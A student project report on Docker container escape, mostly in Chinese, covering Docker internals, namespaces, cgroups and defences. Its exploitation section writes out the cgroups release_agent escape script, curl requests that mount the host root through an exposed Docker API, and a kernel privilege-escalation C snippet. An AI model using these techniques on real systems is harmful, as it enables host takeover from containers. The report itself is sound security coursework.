---
# System prepended metadata

title: 'The Attack and Defense of Computers <small>*(CE6105)*</small><br> [Project 2](https://hackmd.io/@ssrtw/ad22-project2) Report<br> *"Docker Escape"*'
tags: [AD]

---

---
tags: AD
---

<!-- # NeggaParty2 -->

# The Attack and Defense of Computers <small>*(CE6105)*</small><br> [Project 2](https://hackmd.io/@ssrtw/ad22-project2) Report<br> *"Docker Escape"*

<!-- :::info

:::spoiler 作業說明

{%hackmd -4-TcH42Ruu32HkdRgjJsw %}

::: -->

![](https://i.imgur.com/NtySdhT.jpg)


<!-- Sandbox escape -> Container escape

Some reserach about docker escape -->


<table class="u17b5-table" style="width: 100%;">
    <tr><th colspan="5">題目</th></tr>
    <tr><td colspan="5" style="height: 140px;"><i><font size="5rem">Docker Escape</font></i></td></tr>
    <tr><th style="width: 25%;">團隊名稱</th>
        <th style="width: 10%;">項次</th>
        <th style="width: 10%;">成員姓名</th>
        <th style="width: 15%;">學系</th>
        <th style="width: 15%;">學號</th></tr>
    <tr><td rowspan="3" class="u17b5">឵<code>U+17B5</code></td><td rowspan="3">11</td>
        <td>謝程偉</td><td>資訊工程學系</td><td>108502516</td></tr>
    <tr><td>陳彥全</td><td>資訊工程學系</td><td>108502521</td></tr>
    <tr><td>劉子雍</td><td>資訊工程學系</td><td>108502523</td></tr>
</table>
<style>
.u17b5 code
{
    display: none;
}
.u17b5:hover code
{
    display: inline;
}
table.u17b5-table th,
table.u17b5-table td
{
    text-align: center !important;
}
</style>


## Contents
[TOC]
<div style="height: 400px;"></div>


## What Is Docker?
- 一個輕量級的作業系統虛擬化解決方案，以容器（container）的方式，只包含程式庫、系統工具、程式碼和執行時間等執行軟體所需的所有項目，藉此減少資源消耗與執行時間。
- 原先使用 Linux Containers（LXC）技術，現在是用 runC（以前稱為 libcontainer），讓 process 能夠在 host OS 的環境下執行並使用它的資源。
- 雖然減少了資源與時間消耗，但由於 container/kernel 之間隔離較弱、kernel 共享，它的安全性較差。

<!-- a cool technique; -->

### VM vs. Docker
- 相同的目標：實現虛擬化的資源管理。
#### VM
- 在 OS 裝上另一個 OS。
- 執行 Hypervisor 來模擬一整套完整的硬體環境，可以達到完整的資源分離，但也很浪費資源。
- 以 OS 來做分割。
    ![](https://i.imgur.com/lmdkuw8.png =500x)
#### Docker
- 使用原 OS。
- 以 container 做分割。
    ![](https://i.imgur.com/8WzuJLC.png =500x)


## How It Works? 
<!-- (Linux-Based Systems) -->
- 利用 Linux Kernel 中的資源分離機制，在單一 Linux 系統下運作。

### Docker Daemon & Docker Client
- 因為 Docker 是個伺服器端-客戶端結構的應用，會透過伺服端來接收客戶請求並處理對 Container、Image 的操作（建立、執行、停止、分發），通常在 host 端後台執行。
- Docker Daemon：Docker 架構的伺服器端，有提供 RESTful API 給使用者操作或顯示container狀態。
- Docker Client：Docker 架構的客服端，以 command line 的方式讓使用者操作。
- 使用三種 socket：`UNIX`、`Tcp`、`FD`
- 預設使用非聯網的 `UNIX` socket，可以藉 `/var/run/docker.sock` 來使用它，需要 root 權限或是 Docker group member。
- 在聯網時會用到 `Tcp` socket 遠端連結 Docker Daemon。在慣例上，不加密會用 `port 2375`，加密會用 `port 2376`。
- 在系統與 Docker Daemon 交互溝通時，會使用 systemed socket `fd://`

### Namespaces
- 命名空間（Namespaces）：主要是用來隔離。
- 實作 container 的要素之一，用於保證其中執行的應用在容器間互不影響。
- 命名空間抽象地包裝了全域系統資源，讓其內部的 process 看起來擁有自己的全域資源，當全域資源更動時，只有其內部的成員可見。
- 命名空間有很多種，各自有不同的用途。

| Namespace | Flag            | Manual Page           | Isolates resources                   |
| --------- | --------------- | --------------------- | ------------------------------------ |
| Cgroup    | CLONE_NEWCGROUP | cgroup_namespaces(7)  | Cgroup root directory                |
| IPC       | CLONE_NEWIPC    | ipc_namespaces(7)     | System V IPC, POSIX message queues   |
| Network   | CLONE_NEWNET    | network_namespaces(7) | Network devices, stacks, ports, etc. |
| Mount     | CLONE_NEWNS     | mount_namespaces(7)   | Mount points                         |
| PID       | CLONE_NEWPID    | pid_namespaces(7)     | Process IDs                          |
| Time      | CLONE_NEWTIME   | time_namespaces(7)    | Boot and monotonic clocks            |
| User      | CLONE_NEWUSER   | user_namespaces(7)    | User and group IDs                   |
| UTS       | CLONE_NEWUTS    | uts_namespaces(7)     | Hostname and NIS domain name         |

### Control groups（Cgroups）
- 主要是資源控管。
- 用來將 processes 以階層式分組的方式組織，並限制和監督裡頭各種類型資源使用。
- 內核的 cgroup 介面可以通過稱為 cgroupfs 的偽文件系統連結。
- 分組時會使用 cgroup kernel code，但是資源監督與控管是透過單一資源種類的子系統（記憶體、CPU 等）。
- 控制 process 能使用的記憶體容量或 CPU 資源，能避免 process 出問題讓整台電腦當機，Docker 則是用來限制 container 能用的 CPU 資源。

###  Union File System
- 主要用來分享或發布映像檔（image）。
- 它可以把不同目錄掛載到同一個虛擬檔案系統下，其中被整合的成員目錄稱為分支。
- 裡頭能夠包含唯讀或可讀寫的檔案，還能藉由 copy-on-write 功能將唯讀和可讀寫的檔案合併（就是把對唯讀檔案的修改存到可讀寫檔案中）。
- Docker 支持各種不同的 UnionFS，舊版會偏向使用 AUFS，新版會使用 OverlayFS。
- AUFS（Advanced Multi-layered Unification File System）是 Linux 原本的UnionFS 重寫，有著 UFS 的特性還多了一些效能改進的措施，例如分支平衡、為分支修改權限等，不過它被多次拒絕合併到主線 Linux 後，作者放棄掙扎了。
- OverlayFS 是 Docker 之後使用的 UnionFS，它將要合併的檔案系統分成上層和下層，上層優先度較高，會取代同名檔案。


## Defense Mechanism
### Seccomp
- 這是一種 system call ，用來限制 process 可以使用的 system call 。

### Capabilities 
- 原本 UNIX 中，只看使用者是哪種使用者（normal user、super user）來決定讀寫權限。
- 在 kernel 2.2 之後， Linux 將 super user 的權限分成多種，它就叫做 Capabilities ，可以被分別開啟或關閉。
- 一個 thread 開關 Capabilities 。

### LSM（Linux Security Modules）
- 它不是指某種防禦機制，而是電腦安全框架，有很多種，用他們的設定檔限制 Process 的存取權限。
- Docker 使用 AppArmor 來保護 host 資源。
- 此外 Capabilities 中開關 Mandatory Access Control（MAC） 就是藉由它實現。

<!-- magic; -->


## Exploitation
### Container Escape
- 主要漏洞為：Container engine 弱點、Capbility 和 Mount、Kernel 弱點

### Container Engine Bug
- runC [CVE-2019-5736](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5736)
    - runC（run container） 是個根據 OCI 規範運行 Container 的程式，而 Docker 就是用它。
    - 條件：Container 有 root 權限、執行惡意 Container。
    - 正常情況：
        - 當呼叫 exec 時，runc 會把自己放入 namespace 當中 fork 子程序執行，但執行 `/proc/self/exe` 的話，它會再跑一次 runc，且這次會用 Container 內部的 library。
    - 濫用：
        - 改寫 runc 會用到的動態函式庫，但執行中的程式無法更改，因此用 open 的 O_PATH 留下 `/proc/self/exe` 的文件描述符，當 host 下次執行 exec 時，就會執行該描述符中的檔案。
    > 這個漏洞會導致 runC 壞掉！

### Privileged Container
- 在 Privileged Container，沒有 Seccomp 限制且 Capability 全開（沒有限制 system call 與權限全開），主要是為了建立一個獨立環境做 host 能做的工作。
- Mount root
    - 當 procfs 或 sysfs 暴露時，攻擊者就能藉由它做很多事，在 Privileged Container 前提下，它可以直接存取。
    - 例如 `/proc` 顯示了所有正在執行的 kernel process data structure，包括在 namespace 中執行的process，也就是 container。你可以用 `/proc/[pid]/root` 不斷找尋當前 process 的 root 直到 PID=1 就是 host init process 了。
    - 方法：使用 `ls /sys/dev/block/` 印出 host 根目錄後將其 mount 到 container 中，你就能存取根目錄檔案了。
    - [Sensitive Mounts](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/sensitive-mounts)
- Cgroups v1 release notification
    - 在 Cgroups 當中有個檔案叫 release_agent，用來清理新建的 Cgroups 讓 cgroupfs 保持乾淨，當呼叫它時會刪除 cgroup 目錄。
    - 它會在 host 以 root 權限執行，因此我們能透過它在 Container 外執行命令。
    - 在 Docker 的 command 中輸入以下指令：
        1. d 用來找出 `release_agent` 的位置。
            ```bash=
            d=`dirname $(ls -x /s*/fs/c*/*/r* | head -n1)`
            ```
        2. 在 Cgroups 資料夾建立資料夾 w，並啟用 notify_on_release。當 Cgroups 為空、它的 task 文件 PID 為空時，kernel 會執行 release_agent。
            ```bash=+
            mkdir -p $d/w; echo 1 > $d/w/notify_on_release
            ```
        3. t 用來找出 Host 看到的 container 檔案路徑，讓 release_agent 可以呼叫想跑的惡意腳本。
            ```bash=+
            t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
            ```
        4. 將 `release_agent` 指到腳本，把 `echo 0 > $d/w/cgroup.procs` 加入 w 中，當 echo 完，就完成了。
            ```bash=+
            touch /o; echo $t/c > $d/release_agent; echo "#!/bin/sh
            $1 > $t/o" > /c; chmod +x /c; sh -c "echo 0 > $d/w/cgroup.procs"
            sleep 1; cat /o
            ```

### Exposed docker.sock
- 假如是 Privileged Container，可以在透過 socket 建立 container 時將 host root 目錄 mount 上去。
1. 下載 Image
    ``` bash=
    curl \
      -s \
      "http://<host>:<port>/images/create?fromImage=ubuntu&tag=latest" \
      -X POST \
      -H 'Content-Type: application/json'
    ```
2. 建立 Container
    ``` bash=+
    curl \
      -s \
      "http://<host>:<port>/containers/create" \
      -X POST \
      -H "Content-Type: application/json" \
      -d '{"Hostname": "","Domainname": "","User": "","AttachStdin": true,
           "AttachStdout": true,"AttachStderr": true,"Tty": true,
           "OpenStdin": true,"StdinOnce": true,"Entrypoint": "/bin/bash",
           "Image": "ubuntu","Volumes": {"/hostfs/": {}},
           "HostConfig": {"Binds": ["/:/hostfs"]}}'
    ```
3. 然後就能在建立的 Container 執行 command on host system，記得先換到 host 根目錄。
    ``` bash=+
    chroot /hostfs
    ```
- 如果不是 Privileged Container，可以在 Docker 中跑 Docker，建立一個 Privileged Container，就能用前面的手法取得 host 控制。

### Linux Kernel Exploit
- 在 Linux 的 process 結構 `task_struct` 中，有個 `fs_struct fs` 可以看到 process 的 root ，我們可以不斷的往上找，直到 PID=1 時，就是 host 的初始 process，透過它的 fs 就能存取 host 的根目錄。
    ```c=
    typedef unsigned long __attribute__((regparm(3)))
            (*_copy_fs_struct)(unsigned long init_task);

    uint64_t get_task(void) {
        uint64_t task;
        asm volatile ("movq %%gs: 0xD380, %0":"=r"(task));
        return task;
    }

    void get_root(void) {
        int i;
        char *task;
        char *init;
        uint32_t pid = 0;

        // 用來讓該 process 變成 root 權限
        ((_commit_creds)(COMMIT_CREDS))(
            ((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0));

        // 往上找到 init process
        task = (char *)get_task();
        init = task;
        while (pid != 1) {
            init = *(char **)(init + TASK_REAL_PARENT_OFFSET);
            pid = *(uint32_t *)(init + TASK_PID_OFFSET);
        }

        // 找到 init process 之後再用 copy_fs_struct 把 fs 複製回來
        *(uint64_t *)(task + TASK_FS_OFFSET) =
            ((_copy_fs_struct)(COPY_FS_STRUCT))(
                *(long unsigned int *)(init + TASK_FS_OFFSET));
    }
    ```
- 在 Privileged Container 的前提下就能夠 escape，其他的話要繞過 Namespace。

<!-- ask hackers; -->

<!-- 

Here are some possible way to exploit we've found:

- vulnerability of runC 
- exploition of Linux kernel (host env)

-->

<!-- ## Correspond -->

<!-- pray for life; -->

## References

**Very Useful Reference.**
》》》 https://yt.be/tcJ3V 《《《

:::success
<h3 style="margin-top: 6px;">Docker Basic</h3>

- https://cwhu.medium.com/docker-tutorial-101-c3808b899ac6
- https://philipzheng.gitbook.io/docker_practice/introduction/what
:::

:::success
<h3 style="margin-top: 6px;">Docker Break Point & Container Escape</h3>

- https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation
- https://teamt5.org/tw/posts/container-escape-101/
- https://conference.hitb.org/hitbsecconf2021sin/materials/D2T2%20-%20Ccntainer%20Escape%20in%202021%20-%20Li%20Qiang.pdf
- https://www.cyberark.com/resources/threat-research-blog/the-route-to-root-container-escape-using-kernel-exploitation
- https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket
:::

:::success
<h3 style="margin-top: 6px;">Linux manual page</h3>

- https://man7.org/linux/man-pages/man7/namespaces.7.html
- https://man7.org/linux/man-pages/man7/cgroups.7.html
- https://man7.org/linux/man-pages/man2/seccomp.2.html
- https://man7.org/linux/man-pages/man7/capabilities.7.html
:::

:::success
<h3 style="margin-top: 6px;">Docker Escape tool</h3>

- https://github.com/PercussiveElbow/docker-escape-tool
- https://github.com/Frichetten/CVE-2019-5736-PoC
- https://twitter.com/_fel1x/status/1151487051986087936
:::
